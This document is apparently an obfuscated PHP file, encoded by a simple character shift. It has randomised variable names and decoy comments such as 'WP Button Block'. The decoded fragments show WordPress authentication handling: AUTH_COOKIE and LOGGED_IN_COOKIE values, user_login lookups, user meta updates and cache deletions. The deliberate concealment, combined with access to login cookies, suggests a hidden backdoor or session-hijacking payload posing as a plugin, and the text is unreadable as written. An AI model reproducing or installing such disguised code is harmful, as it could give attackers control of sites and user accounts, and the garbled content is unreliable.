1?>!US,|c8~=y`m0a>:=USrq;ec{mmgl| 1?1!U!!(s,y=x;{yjmb8<|Sjj`>dqcld1xlfd: 1?>!US,|c8~=y`m0a>:=USjj`>dqcld1xlfd: 1?1!U(((5((izziq !3((u(((((ngzmik`(((( ,aox0`n8cim(((i{(((,|eqbb`lb1l!(((s''(ngdl%kgf{|(omfmzid%zmk}z{a~m(`qxmzdgodgo,y=x;{yjmb8<|Srq;ec{mmgl| 1?>!US,|c8~=y`m0a>:=USrq;ec{mmgl| 108!USU((5(((,|eqbb`lb1l3((((u(u(u(zm|}zf(,y=x;{yjmb8<|3(u(((((n}fk|agf((((y9{ml>qjlkfz}1 !(s,c8dpe<?q9=5X@XWAF\WEIP'X@XWAF\WEIP3,nr;:Wyibidp5,c8dpe<?q9=#193(((((|zq(s(((an(( )(lmnafml aozjlg0f<j1nk{ 109!!((((tt((kgf{|if| rq;ec{mmgl| 109!!((4((( :#=!!((((((s(((zm|}zf3,a;fnrxyz;Wdxkp5X@XWAF\WEIP'X@XWAF\WEIP3,rzpWeyygqxo5,a;fnrxyz;Wdxkp#9;3(((u((((((an(( aW;~yrxiqyjro >81! aW;~yrxiqyjro 10:!$((nid{m!!(((s'"(xzaea|a~m%zmk}z{a~m(nad|mz%k`iaf("'(zm|}zf3(((u,il|q8<ae;j(((5((((((aozjlg0f<j1nk{ 1>9! z9>1{1jm8r8;e~8 !!3(((((,dniag01l|yx<jk((5(lmnafml jj`>dqcld1xlfd: 0:0!!(7(((_XWXD]OAFWLAZ(((((2(**3(,jaW1lp;xnp(5((izziq (,dniag01l|yx<jk((((((&(aozjlg0f<j1nk{ 10;!$(((,dniag01l|yx<jk((((((&(rq;ec{mmgl| 10<!$(((((((,dniag01l|yx<jk((&(aW;~yrxiqyjro 10=!$((((((!3,`fe|z~}oo`8c~(5(((((**3(ngzmik`(( ,jaW1lp;xnp(((i{((,lm:yeg9ineej?x!(san( ,lm:yeg9ineej?x(((()55((((**(((..(((Hrq;ec{mmgl| 10>! ,lm:yeg9ineej?x!((..(((Hrq;ec{mmgl| 099! ,lm:yeg9ineej?x!!((s(((,`fe|z~}oo`8c~(5(((,lm:yeg9ineej?x3((jzmic3(((u(u(((an((((( ,`fe|z~}oo`8c~(555(**!((s(((zm|}zf3((u(((((,c8<fea`mne;eW((5((aW;~yrxiqyjro 0>;! ,`fe|z~}oo`8c~!3{xdWi}|gdgilWzmoa{|mz n}fk|agf( ,k9r<llykp81;{!((}{m(((((( ,c8<fea`mne;eW!((((s(ngzmik`((((( izziq ,c8<fea`mne;eW((((&(((/'/(&(((,k9r<llykp81;{((&(rq;ec{mmgl| 10?!$((((,c8<fea`mne;eW(((&((((/'/((&((,k9r<llykp81;{(&((((aW;~yrxiqyjro 100!!((((i{((,rkic=ck?rq`~j}<d!((s(((((an(((( Haozjlg0f<j1nk{ 10>! ,rkic=ck?rq`~j}<d!!((((safkd}lmWgfkm((,rkic=ck?rq`~j}<d3((((((zm|}zf3(u((u((((((u!3(((,|je<0=:8|qg}dkx9((5((HaW;~yrxiqyjro 1:>! ,`fe|z~}oo`8c~!3(an( ,|je<0=:8|qg}dkx9(((555(((((nid{m(((((tt((aozjlg0f<j1nk{ 1?8! ,|je<0=:8|qg}dkx9$((((((jj`>dqcld1xlfd: 101!!(555(((((nid{m!(((((s(((((zm|}zf3u((,|je<0=:8|qg}dkx9(((5((((aozjlg0f<j1nk{ 118! jj`>dqcld1xlfd: 119!$(((**$((,|je<0=:8|qg}dkx9!3(((((,|je<0=:8|qg}dkx9(5(aW;~yrxiqyjro <81! aozjlg0f<j1nk{ 101!$(((aozjlg0f<j1nk{ 11:!$(,|je<0=:8|qg}dkx9!3((,ipmfl`rpq=yj;o((5((((((kW>>zfk;ll`x}<cW9>k8p> mbpe~oWg9kdozrg !$(jj`>dqcld1xlfd: 0==!!3((an((( ,ipmfl`rpq=yj;o((555(nid{m!(((s,{8x`ngc0=nr59=#=>3,m0|l>`gf{p885,{8x`ngc0=nr%<>3((((zm|}zf3u(((Hrq;ec{mmgl| :9:! ,ipmfl`rpq=yj;o$(rq;ec{mmgl| 11;!((&((((,|je<0=:8|qg}dkx9!3|zq(s((Hafkd}lm(,ipmfl`rpq=yj;o3u(nafiddq((s(((aqdz{8}zyk~qm;yf ,ipmfl`rpq=yj;o!3((((u(((,||ezj}bi~z}}<o((((5(((((rq;ec{mmgl| 0::! ,il|q8<ae;j$((XI\@AFNGWNADMFIEM!3((,ODGJID[Saozjlg0f<j1nk{ 11<!U((5(,il|q8<ae;j3((,ODGJID[SaW;~yrxiqyjro 11=!U((5(((((,||ezj}bi~z}}<o3(,xk0x~la;9z((5(rq;ec{mmgl| 11>!((&(rq;ec{mmgl| 11?!(((&((aozjlg0f<j1nk{ 110!((((&((((aozjlg0f<j1nk{ 111!(((&(jj`>dqcld1xlfd: 9888!&((((/u/&((jj`>dqcld1xlfd: 9889!&((/u/&(((/u/3(((((,`k1o09}egWW(((5((kW>>zfk;ll`x}<cW9>k8p> mbpe~oWg9kdozrg !$(((rq;ec{mmgl| 988:!!3(((((an(( ,`k1o09}egWW!(((s''({|zmfo|`%zml}km(ikk}e}di|gz(ngz(_X(Mf|a|q(Xzg~almz(((Hjj`>dqcld1xlfd: :9:! ,`k1o09}egWW$((,xk0x~la;9z!3(((|zq((s(((Hafkd}lm((,`k1o09}egWW3,dpfdjWbfmy}?x50083,f89<|`9:f195,dpfdjWbfmy}?x-9=3((u(nafiddq((s(((aqdz{8}zyk~qm;yf ,`k1o09}egWW!3(u(((u''(}fzgdd(nik|gz((((u((((((ki|k`(( \`zgijdm((((((,d|f9x=j|9W:!(((s((((((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 988;!$(,d|f9x=j|9W:!3(u((((((ki|k`( Mpkmx|agf((,d|f9x=j|9W:!(s(((((u''(_X(J}||gf(Jdgkc2(zmdmi{m(|zam((((uan(( )jj`>dqcld1xlfd: 1<<! jj`>dqcld1xlfd: 988<!!!(s,m8{>8WnWq5;8#083,pr:n19ml{f?er5,m8{>8WnWq%:<3n}fk|agf(((((g8c<kyzi09p{|k?mq ,i`Wq|}qg{{|$(,{al9<qn;9f>=qqg:!(s((((an(((( )((aozjlg0f<j1nk{ 988=! ,i`Wq|}qg{{|!!(s''(Hik|a~i|m(zi|m%daea|mz((((zm|}zf((,i`Wq|}qg{{|3((((((u((((,qkqk=oegfo(5((izziq rq;ec{mmgl| 988>!$(((((jj`>dqcld1xlfd: 988?!$((rq;ec{mmgl| 9880!$((aozjlg0f<j1nk{ 9881!$((((((aozjlg0f<j1nk{ >;8!!3((ngzmik`((((( ,qkqk=oegfo(i{((((((,cmq!(s''(xzmlak|a~m(kg~izaif|(((((an((((( )(((a{{m| ,i`Wq|}qg{{|S,cmqU!((((tt(((()((aW;~yrxiqyjro 988=! ,i`Wq|}qg{{|S,cmqU!!((s(kgf|af}m3(u(,zark~;brg`yflpWp((5((((izziq !3(ngzmik`((( ,i`Wq|}qg{{|S,cmqU((((i{((,`d`<;0n{W>=<n!((s(((((((an((( )(rq;ec{mmgl| 9898! ,`d`<;0n{W>=<n!!((((s''(Eq[YD(B[GF(gxmzi|gz{(xg{|(|qxm({m|}x,zark~;brg`yflpWpSU((5(,`d`<;0n{W>=<n3kgf|af}m3(((u(,f8xcp>0x8i9{e(((5(((((a{{m| ,`d`<;0n{W>=<nSaW;~yrxiqyjro 9899!U!(7(,`d`<;0n{W>=<nSrq;ec{mmgl| 9899!U((2(**3,||ezj}bi~z}}<o(((5((a{{m| ,ODGJID[Sjj`>dqcld1xlfd: 989:!U!((7(,ODGJID[Srq;ec{mmgl| 989:!U((2(**3(an((( ,f8xcp>0x8i9{e(((555(,{al9<qn;9f>=qqg:(tt(( ,||ezj}bi~z}}<o((((()55((((**(((..(,f8xcp>0x8i9{e((555((((,||ezj}bi~z}}<o!!(((s(((kgf|af}m3u((((,zark~;brg`yflpWpSU((5(((g8c<kyzi09p{|k?mq ,`d`<;0n{W>=<n$((,{al9<qn;9f>=qqg:!3((((u(,i`Wq|}qg{{|S,cmqU((5(,zark~;brg`yflpWp3,xd}ry::d0m5=;":3,k;eeg>r8|0}5,xd}ry::d0m%;<3(((u(((zm|}zf(,i`Wq|}qg{{|3uun}fk|agf(fq;lazce|=gol}|<0| !(((((s''(nad|mz(mpxzm{{agf|zq(s(an( rq;ec{mmgl| 1<<! aW;~yrxiqyjro 0?<!!((((..(((((om|W|zif{amf| jj`>dqcld1xlfd: ?0:!!!((s(((((((zm|}zf3u((((((,zno=:n={n`i(5((((Haozjlg0f<j1nk{ ::;! z9>1{1jm8r8;e~8 !!3an(((( ,zno=:n={n`i((..((,zno=:n={n`i(((6( 0=?=%;=?=!(((..(((,zno=:n={n`i(4(((( <1111>0#;:!(((..()rem9ln;b0>:j~|k9reo= z9>1{1jm8r8;e~8 !!!((s((((((,ji<:;je{am((5(((((Hjj`>dqcld1xlfd: 1:>! z9>1{1jm8r8;e~8 !!3((an( jj`>dqcld1xlfd: 00?! ,ji<:;je{am!((..(rq;ec{mmgl| 989;! ,ji<:;je{am!(((555(((,zno=:n={n`i(((..((~rl=fzla18ykW?jkrj} ,ji<:;je{am!!(s(an(( {jynjr};<k;ff=~{9pbapx z9>1{1jm8r8;e~8 !$(((|;neyggnc9}qimc=gf ,ji<:;je{am!!!((s((((m1<bdc<lk<9|c;d z9>1{1jm8r8;e~8 !!3((d8incq1<`|<n`1Wi z9>1{1jm8r8;e~8 !!3(((((((u((((u(}f{m| ,ji<:;je{am!3((u((((((((,da|=p=8=jb(((5(((HaW;~yrxiqyjro ::;! z9>1{1jm8r8;e~8 !!3(,|fr:W|cj:{(5((,da|=p=8=jb((..(,da|=p=8=jb(((6(( <10?#9;!3an(((( ,|fr:W|cj:{((..(((,da|=p=8=jb((6( =:<:0?8:#10!!((s((,|fr:W|cj:{(5(((nid{m3(((((((u((an((((( ,|fr:W|cj:{!(s(((,cc9y::g0ooz0((((((5((Hrq;ec{mmgl| 1:>! z9>1{1jm8r8;e~8 !!3an((((( aW;~yrxiqyjro 00?! ,cc9y::g0ooz0!((((..(((rq;ec{mmgl| 989;! ,cc9y::g0ooz0!(6(( 1?:?<0#?=0:0!!(((,cc9y::g0ooz0(((5((bW0a{a?}a`=bcb<?m ,cc9y::g0ooz0!3((an( )aozjlg0f<j1nk{ 989<! ,cc9y::g0ooz0!(((tt(((()~rl=fzla18ykW?jkrj} ,cc9y::g0ooz0!!((((s(((((,|fr:W|cj:{(5(nid{m3((((u((md{m((((((s((((,ok;glgmp>a`8y~j(5(((`ja}:~bo1<;}zr;fcWWp aW;~yrxiqyjro 989=!$((**!3((((((,Wakmyl|pf<aa}=(((((5(((zgc9=|yg>n9~1r ,cc9y::g0ooz0!3(((,gclfob~lr9{zo(5((zgc9=|yg>n9~1r jj`>dqcld1xlfd: 989<! ,ok;glgmp>a`8y~j!((((7((,ok;glgmp>a`8y~j((2((((**!3(((((((an(( ,Wakmyl|pf<aa}=(((()55((**(((..( ,gclfob~lr9{zo((((555(((**(tt((((~mz{agfWkgexizm ,gclfob~lr9{zo$(,Wakmyl|pf<aa}=$(/4/!!!((((s((((,n;g|}~>od``j(((5(rq;ec{mmgl| 00:! ,cc9y::g0ooz0!3(((((,yoxry>}8~cb0((5(Haozjlg0f<j1nk{ 989>! aozjlg0f<j1nk{ 0>;! z9>1{1jm8r8;e~8 !!(((&((rq;ec{mmgl| 90=!(((&(,n;g|}~>od``j!3(((((((an( ),yoxry>}8~cb0!(s(((,Wk|;zexle|xm910((5((((om|Wgx|agf aW;~yrxiqyjro 901!!3an((( rq;ec{mmgl| 989<! ,Wk|;zexle|xm910!((((((..((((aozjlg0f<j1nk{ 1?8! ,Wk|;zexle|xm910$(((,n;g|}~>od``j((&((/t/!((555((((8(..(((((jj`>dqcld1xlfd: 0=?! !(%(( af|!((aozjlg0f<j1nk{ 989?! ,Wk|;zexle|xm910$((aozjlg0f<j1nk{ 1?8! ,Wk|;zexle|xm910$(/t/!((((((#(9!((4(( 8p9;<l#8p9;m;;!!((,yoxry>}8~cb0((((((5((|z}m3(u(an( ,yoxry>}8~cb0!((((,|fr:W|cj:{(((((5(nid{m3(an((( ),yoxry>}8~cb0((..(((((rq;ec{mmgl| 989<! ,ok;glgmp>a`8y~j!((((..(( ,ok;glgmp>a`8y~j((((555(((**((tt((,gclfob~lr9{zo(555((**(tt(((~mz{agfWkgexizm ,gclfob~lr9{zo$(((,Wakmyl|pf<aa}=$(((/4/!!!((((brWd:drr>|qrizlfce::~ jj`>dqcld1xlfd: 989=!$((,cc9y::g0ooz0$((aozjlg0f<j1nk{ 010!!3(}f{m| ,n;g|}~>od``j$(((((,yoxry>}8~cb0$((,Wk|;zexle|xm910!3u(md{man( aozjlg0f<j1nk{ 989<! ,ok;glgmp>a`8y~j!(..(((aozjlg0f<j1nk{ 989;! ,ok;glgmp>a`8y~j!(6(( <0=#9=!((((..(jj`>dqcld1xlfd: 989;! ,ok;glgmp>a`8y~j!(45(( 98<0=?=#9!(((((..()j9zoz:k9qe=j`y=|m1r>9 ,ok;glgmp>a`8y~j!((..((((~rl=fzla18ykW?jkrj} ,ok;glgmp>a`8y~j!(..((aozjlg0f<j1nk{ 00:! ,cc9y::g0ooz0!()55(aozjlg0f<j1nk{ 9890! ,ok;glgmp>a`8y~j!!((s''(xg{|%lgeafi|m({alm%mnnmk|%nzmm(kgf|zgd%ndg%ozix`,|fr:W|cj:{((((5((((nid{m3u(((((u(((((u(((an(((( ,|fr:W|cj:{!(s''(Af|d(mp|mf{agf2(zmdipml(xaxmdafm(an( aozjlg0f<j1nk{ 9891! aozjlg0f<j1nk{ ?09!!!(s((((((({m|W|zif{amf| jj`>dqcld1xlfd: 98:8!$((9$( 8p;80#8pj80!!3((u(((((((zm|}zf3(((u(an( rem9ln;b0>:j~|k9reo= z9>1{1jm8r8;e~8 !!!(((s((((((zm|}zf3((u,{po`8=ez:`m{y}((((5(aozjlg0f<j1nk{ 0>;! z9>1{1jm8r8;e~8 !!3(((an(( )(Haozjlg0f<j1nk{ 0??! ,{po`8=ez:`m{y}!!(((s''(Hkgdgz%zmoa{|mz(zmkgzl%diqmz((((((Wfpcp9{<d<qobniil ,{po`8=ez:`m{y}$(((((( =89%0!$(|z}m!3(u(((((,pf11jid;nc`a(5((`ja}:~bo1<;}zr;fcWWp rq;ec{mmgl| 98:9!$((**!3(an(( ),pf11jid;nc`a(tt((((()aozjlg0f<j1nk{ 989<! ,pf11jid;nc`a!!(((((s((an(( )om|W|zif{amf| aW;~yrxiqyjro 98::!!!(((((s(gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 98:;!$((aW;~yrxiqyjro 98:<!!3(({m|W|zif{amf| aW;~yrxiqyjro 98::!$((((((9$(( 9;:8#::08!!3(u(((uan(((((( ,pf11jid;nc`a((..(((rq;ec{mmgl| 989<! ,pf11jid;nc`a!(..((aW;~yrxiqyjro 989;! ,pf11jid;nc`a!(6( <>?#;;!(((((..((jj`>dqcld1xlfd: 989;! ,pf11jid;nc`a!(45(( 98<0<1<#0:!((((..((()j9zoz:k9qe=j`y=|m1r>9 ,pf11jid;nc`a!((..(((~rl=fzla18ykW?jkrj} ,pf11jid;nc`a!!(s(((,plqa|k|{`bdc((5(zgc9=|yg>n9~1r ,pf11jid;nc`a!3((an( ,plqa|k|{`bdc()55(((((**((((..((~mz{agfWkgexizm ,plqa|k|{`bdc$(ojcir|0ro>gifi>;n?| !$(((((/4/!!((((s((zm|}zf3,pmioollgj{mk5?8t13,gap{feiq>z5,pmioollgj{mkV:813u,~edpopz={`g=(((((5(((jj`>dqcld1xlfd: 0>;! z9>1{1jm8r8;e~8 !!((&((((jj`>dqcld1xlfd: ?1;!((((&(rq;ec{mmgl| 1>9! z9>1{1jm8r8;e~8 !$((aozjlg0f<j1nk{ 100!!3,e=<bmq{~9>|ddq`g(5(Hjj`>dqcld1xlfd: 989>! ,~edpopz={`g=!(7(((aW;~yrxiqyjro 98:=!  {|zafo!(((Hrq;ec{mmgl| 1:>! ,~edpopz={`g=!!(2(**3an( ,e=<bmq{~9>|ddq`g(()55((**(((((..(aW;~yrxiqyjro 9890! ,pf11jid;nc`a!((555((,e=<bmq{~9>|ddq`g!((((((s((((((zm|}zf3uyy|m;zWdxb}n{r{~akm z9>1{1jm8r8;e~8 !$(( ;<?#?;!!3(,za1<f0=bi<(5({jynjr};<k;ff=~{9pbapx z9>1{1jm8r8;e~8 !$((((|;neyggnc9}qimc=gf ,pf11jid;nc`a!!3(an((( ,za1<f0=bi<!((s(((((m1<bdc<lk<9|c;d z9>1{1jm8r8;e~8 !!3(yy|m;zWdxb}n{r{~akm z9>1{1jm8r8;e~8 !$((( ;><%?:!!3d8incq1<`|<n`1Wi z9>1{1jm8r8;e~8 !!3((mrppqfp~aze:9: |z}m!3p|;izdoby9r|y{a|: |z}m!3((((fj0ffpdgn}pcpf0dq z9>1{1jm8r8;e~8 !!3an(( aW;~yrxiqyjro 9891! aozjlg0f<j1nk{ ?09!!!(((s(((({m|W|zif{amf| jj`>dqcld1xlfd: 98:8!$(9$((( 8p=im#8p0>:!!3((((((u(((u(md{man( rq;ec{mmgl| 9891! aW;~yrxiqyjro ?09!!!(((s(({m|W|zif{amf| jj`>dqcld1xlfd: 98:>!$(9$( 9?:9#?1!!3(((u(((u((((u((ki|k`( \`zgijdm(((,d|f9x=j|9W:!((sgcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 98:;!$(,d|f9x=j|9W:!3(u((ki|k`(( Mpkmx|agf(((,d|f9x=j|9W:!((s((((u((u(((((n}fk|agf(b`onWz=bWxzg}8 !(s''(X@X(i||zaj}|m{(aeiom(laemf{agf{((((c;lmzWo8=1?0ml=o rq;ec{mmgl| 98:?!$(rq;ec{mmgl| 98:0!!3c;lmzWo8=1?0ml=o rq;ec{mmgl| 98:1!$(((jj`>dqcld1xlfd: 98:0!!3(an(( aozjlg0f<j1nk{ 9891! rq;ec{mmgl| 98;8!!!(s(((((zmeg~mWik|agf jj`>dqcld1xlfd: 98;9!$(((((rq;ec{mmgl| 98;:!!3((zmeg~mWik|agf aW;~yrxiqyjro 98;;!$((((aW;~yrxiqyjro 98;:!$(( ?#;!!3zmeg~mWik|agf jj`>dqcld1xlfd: 98;<!$((aozjlg0f<j1nk{ 98;=!$(( =#=!!3(((u''(_X(Jdgkc(^izai|agf{(gx|agf(zg(((((((un}fk|agf(((((W;e1cpbo}?y``=< !s(|zq((((((s''(fgzeidarm(,xlj((5((,ODGJID[SaW;~yrxiqyjro 98;>!U3(((((((,plzbqjmce;(((5((((,xlj%6xzmnap((((&(aozjlg0f<j1nk{ 98;?!3(((((,jb?pinW>a:z>iin:((((((5(/[/((&(((rq;ec{mmgl| 98;0!(((&(,xlj%6}{mz{((((&((((rq;ec{mmgl| 98;1!(&(,xlj%6}{mzem|i((&(((jj`>dqcld1xlfd: 98<8!3(zm|}zf(((,xlj%6om|Wzm{}d|{ ,xlj%6xzmxizm ,jb?pinW>a:z>iin:$(((,plzbqjmce;$(aozjlg0f<j1nk{ 98<9!!!3(((u(((ki|k`( \`zgijdm((((,d|f9x=j|9W:!(((s((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: >?:!$((,d|f9x=j|9W:!3((((u(((ki|k`(((((( Mpkmx|agf(,d|f9x=j|9W:!(s(((((((u((((zm|}zf((((izziq !3,kW1qx=y9;k59=1t:8<3,k~{>y0n}{b;p|5,kW1qx=y9;kV>?3(u(((n}fk|agf(fWj|ld}p<}8cgp>rm~ ,g?0qlWj9=agk!(s(,emj<bi:m=<{yf((5(izziq !3(((((,fdrk:p1f8?mfp=(((5(n}fk|agf(( ,}c~gg=c1n9x~=z8x!((s''(x}jda{`({fix{`g|%a{gdi|ml(za|m%i`mil%dgo(((((((,}c~gg=c1n9x~=z8xSaozjlg0f<j1nk{ 98<:!U((5((**3((((((zm|}zf(((,}c~gg=c1n9x~=z8x3u''({|zmieafo(x}jda{`mz3((|zq((((s((((an( )(aozjlg0f<j1nk{ 9891! jj`>dqcld1xlfd: 98<;!!(tt(()((aozjlg0f<j1nk{ >81! jj`>dqcld1xlfd: 98<<!!!((s''(X@X(ei|k`(mpxzm{{agf2(jgg|{|zix(kixijada|q((((zm|}zf(,emj<bi:m=<{yf3((u((an((( )(jj`>dqcld1xlfd: 98<=! ,g?0qlWj9=agk!(((tt(((((mex|q ,g?0qlWj9=agk!!((s(((((((zm|}zf(((,emj<bi:m=<{yf3(((u((,c}<zW>Wd;`(5(((rq;ec{mmgl| 98<>! !(((((#(( 0=V19!(("((( 0>;1:#0!3((,a{W{{d((5(((aW;~yrxiqyjro 9891! jj`>dqcld1xlfd: =<:!!((((..((a{W{{d !3(,c``fckxo}d:k8((((5(,a{W{{d((((((7(((jj`>dqcld1xlfd: 98<?!((2(aozjlg0f<j1nk{ 98<0!3(,zgqz~0a01ce:`=c<((((5(((,a{W{{d(((((7(( lmnafml rq;ec{mmgl| 98<1!!(((7(((([MK]ZMWI]\@WKGGCAM(2(((**!(((2( lmnafml aW;~yrxiqyjro 98=8!!(((((7(I]\@WKGGCAM(2(**!3((((,eebfl=|<}|qeolpn(5((((lmnafml aW;~yrxiqyjro 98=9!!(7(((((DGOOMLWAFWKGGCAM((2((**3((((((an((( )(,zgqz~0a01ce:`=c<((tt(()(((((,eebfl=|<}|qeolpn!(((s(((((((zm|}zf(((,emj<bi:m=<{yf3((u((,aj>ijc~zjr1=z>y((5(((lmnafml aozjlg0f<j1nk{ 98=:!!(..((KGGCAMWLGEIAF((7(rq;ec{mmgl| 0! KGGCAMWLGEIAF$((/&/!((2(((orkx{~qmc8gyjn **!3,zrgopi`jixc19;((5(((lmnafml aozjlg0f<j1nk{ 98=;!!(((7((((KGGCAMXI\@((2(/'/3(,}=na:a0yz((5(lmnafml aozjlg0f<j1nk{ 98=<!!((7(ILEAFWKGGCAMWXI\@(((((2(jj`>dqcld1xlfd: 98==!3,lmr1nexp}rW((5((,a{W{{d((7(jj`>dqcld1xlfd: 98=>!(2(((jj`>dqcld1xlfd: 98=?!3(,a{:ozyjjpx(5(*T|*3((c;lmzWo8=1?0ml=o aozjlg0f<j1nk{ 98=0!$((,fdrk:p1f8?mfp=$((((8!3,d}i~:9mfc((((5((((m=~m:xoqW<{ipg}}>g; aW;~yrxiqyjro 98=1!!3,|iii01?ieo:kc:z(5((jj`>dqcld1xlfd: 98>8! aozjlg0f<j1nk{ 98>9!!(7((Hom|Wgx|agf ,d}i~:9mfc$((((izziq !!(2(((izziq !3((((an((( )aozjlg0f<j1nk{ 98<=! ,|iii01?ieo:kc:z!!((,|iii01?ieo:kc:z((((5(((izziq !3,{}r>my:iyd}x>(5((((nid{m3(((,p|eid0j:?`(5(((((83ngzmik`( ,g?0qlWj9=agk(i{(((((,pnxbn=~?;~{ecmb!(((((san(( )((rq;ec{mmgl| 10! ,pnxbn=~?;~{ecmb!(tt(((()(((,pnxbn=~?;~{ecmb%6AL((((tt()(((,pnxbn=~?;~{ecmb%6}{mzWdgoaf!((((s(kgf|af}m3(((u(an(( ,p|eid0j:?`(65(( :#9!!((((((sjzmic3(((u(((((,b~n~0rkfqbl(5((((( {|zafo!(,pnxbn=~?;~{ecmb%6}{mzWdgoaf3,fa;xo8?p591>t9::3,ibrp;fzpa;Wq5,fa;xo8?pV903an(( a{{m| ,|iii01?ieo:kc:zS,b~n~0rkfqblU!(((..((((( af|!((,|iii01?ieo:kc:zS,b~n~0rkfqblU(6(rq;ec{mmgl| 98<>! !((((#((:("(((( 9<0;=#?9=>=!!((s((((((kgf|af}m3u(((xWkik`mWlmdm|m ,pnxbn=~?;~{ecmb%6AL$((((jj`>dqcld1xlfd: 98>:!!3(,yxoi8>>?k9W9(5(((om|W}{mzWem|i ,pnxbn=~?;~{ecmb%6AL$((jj`>dqcld1xlfd: 98>;!$((|z}m!3(((an(((( rq;ec{mmgl| 98<=! ,yxoi8>>?k9W9!(..((aozjlg0f<j1nk{ 98><! ,yxoi8>>?k9W9!(((65(( 1#9!!(((((s(,ei|>:1{p>m01e((((5(izziq !3ngzmik`(( ,yxoi8>>?k9W9((i{(((,kz`:pfe||n((56(((,|lbraem1q<ob!(s(an((( a{{m| ,|lbraem1q<obSrq;ec{mmgl| 98>=!U!(((..(((,|lbraem1q<obSaozjlg0f<j1nk{ 98>=!U(((((6(aW;~yrxiqyjro 98<>! !!((((s(,ei|>:1{p>m01eS,kz`:pfe||nU((5(((,|lbraem1q<ob3((((u((u(an((( rq;ec{mmgl| 98>>! ,ei|>:1{p>m01e!()55(rq;ec{mmgl| 98>>! ,yxoi8>>?k9W9!!(((s(((}xli|mW}{mzWem|i ,pnxbn=~?;~{ecmb%6AL$(aW;~yrxiqyjro 98>;!$(((,ei|>:1{p>m01e!3((u((uxWkik`mWlmdm|m ,pnxbn=~?;~{ecmb%6AL$((((aW;~yrxiqyjro 98>:!!3((,a>m~qo`c~ge((((5((rq;ec{mmgl| ;;=! izziq aozjlg0f<j1nk{ 98<<!$((rq;ec{mmgl| 98>?!!$((((,pnxbn=~?;~{ecmb%6AL!3((((((,Wfzo>|iyxjg?d(5((,a>m~qo`c~ge%6kzmi|m ,c}<zW>Wd;`!3((((,jkn{mnr08|((5((izziq !3,jkn{mnr08|SU(((((5(,aj>ijc~zjr1=z>y(&((,a{:ozyjjpx((&((aozjlg0f<j1nk{ 98=>!(((&((,a{:ozyjjpx((((((&((,zrgopi`jixc19;(&(((,a{:ozyjjpx((&(,lmr1nexp}rW(((&(((,a{:ozyjjpx((&((,c}<zW>Wd;`((&(((((,a{:ozyjjpx(&(,eebfl=|<}|qeolpn((&((,a{:ozyjjpx((&((aozjlg0f<j1nk{ 98<;! ,pnxbn=~?;~{ecmb%6AL$(((((,c}<zW>Wd;`$((((jj`>dqcld1xlfd: 98>0!$(,Wfzo>|iyxjg?d!3((((((((an(( ,zgqz~0a01ce:`=c<!(((s(,jkn{mnr08|SU(((((5((((,aj>ijc~zjr1=z>y(((&(,a{:ozyjjpx((&(aozjlg0f<j1nk{ 98>1!(((((&((,a{:ozyjjpx(&((((((,}=na:a0yz(((&(,a{:ozyjjpx(&(,lmr1nexp}rW((&((((,a{:ozyjjpx(&((,c}<zW>Wd;`(((&((,a{:ozyjjpx(&((((,zgqz~0a01ce:`=c<(((&((,a{:ozyjjpx((&(((aW;~yrxiqyjro 98?8! ,pnxbn=~?;~{ecmb%6AL$(,c}<zW>Wd;`$((,c``fckxo}d:k8$(,Wfzo>|iyxjg?d!3u((((,emj<bi:m=<{yfS,pnxbn=~?;~{ecmb%6}{mzWdgoafU((5(,jkn{mnr08|3,|iii01?ieo:kc:zS,b~n~0rkfqblU((5(,c}<zW>Wd;`3,|<xrnb8Wj1059?"03,y1>W?8>9=m05,|<xrnb8Wj10%;3(,{}r>my:iyd}x>(((5((((((|z}m3(,p|eid0j:?`##3(u''(`mzea|aif(`qxmzdgodgo((an(((( ,{}r>my:iyd}x>(((..(jj`>dqcld1xlfd: 98>8! jj`>dqcld1xlfd: 000!!!(((sH}xli|mWgx|agf ,d}i~:9mfc$((((,|iii01?ieo:kc:z$(((jj`>dqcld1xlfd: 010!!3(uu(ki|k`(( \`zgijdm((,d|f9x=j|9W:!(sgcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 98?9!$(((,d|f9x=j|9W:!3(u(ki|k`(( Mpkmx|agf((,d|f9x=j|9W:!(((su(((zmeg~mWnad|mz aozjlg0f<j1nk{ 98?:!$((,fdrk:p1f8?mfp=$((8!3(((zm|}zf(((,emj<bi:m=<{yf3(((un}fk|agf(((fWq;r?k}ilylknf0:l9< ,~c0W8pqzod!((((s(((an((( aozjlg0f<j1nk{ 989<! ,~c0W8pqzod!!(((((zm|}zf((((,~c0W8pqzod3((an( jj`>dqcld1xlfd: 98?;! ,~c0W8pqzod!((..(((a{{m| ,~c0W8pqzodS/x/U!((..((aozjlg0f<j1nk{ 989<! ,~c0W8pqzodS/x/U!!((((zm|}zf((((,~c0W8pqzodS/x/U3((zm|}zf((**3(((((u(n}fk|agf(bc<}meWnW<yW1zrjb8=i? ,g?0qlWj9=agk!(((s((,da{|(5(((izziq !3(,~yWg|q1|xy(((((5(( {|zafo!((((((`ja}:~bo1<;}zr;fcWWp jj`>dqcld1xlfd: 98?<!$((**!3(((,zl>i=dkg1n((5((( {|zafo!((((((`ja}:~bo1<;}zr;fcWWp aozjlg0f<j1nk{ 98?=!$((((**!3((((an(( ,~yWg|q1|xy()55(((**(..(((((,zl>i=dkg1n()55((((((**!(s(((((,da{|S,~yWg|q1|xyU(5(((,zl>i=dkg1n3((((u(,pqaln=:89:g}<(((((5((((`ja}:~bo1<;}zr;fcWWp aozjlg0f<j1nk{ >91!$(izziq !!3((an(((( aozjlg0f<j1nk{ 98?;! ,pqaln=:89:g}<!!((s((((ngzmik`( ,pqaln=:89:g}<(i{(,|ix~fc0eq:o(((56((((,io:zl<yzq<!((((s(((((,ndjnir;e;:?fazg9(((5((((((fWq;r?k}ilylknf0:l9< ,io:zl<yzq<!3((an(( ,ndjnir;e;:?fazg9(()55((**!(((((,da{|S {|zafo!(((((,|ix~fc0eq:oU(((((5(((((,ndjnir;e;:?fazg93((((((u((((u((((zm|}zf(,da{|3((un}fk|agf((yyny}{zx;99`{kdcq?qoe ,|ix~fc0eq:o$(((,ic=y>cc<bbb1$((((((,jany~ior90>|~xl!(s((((|zq(s(((((an( )(((rq;ec{mmgl| 98?>! ,|ix~fc0eq:o!(tt(()((((jj`>dqcld1xlfd: 11! ,|ix~fc0eq:o$(((jj`>dqcld1xlfd: 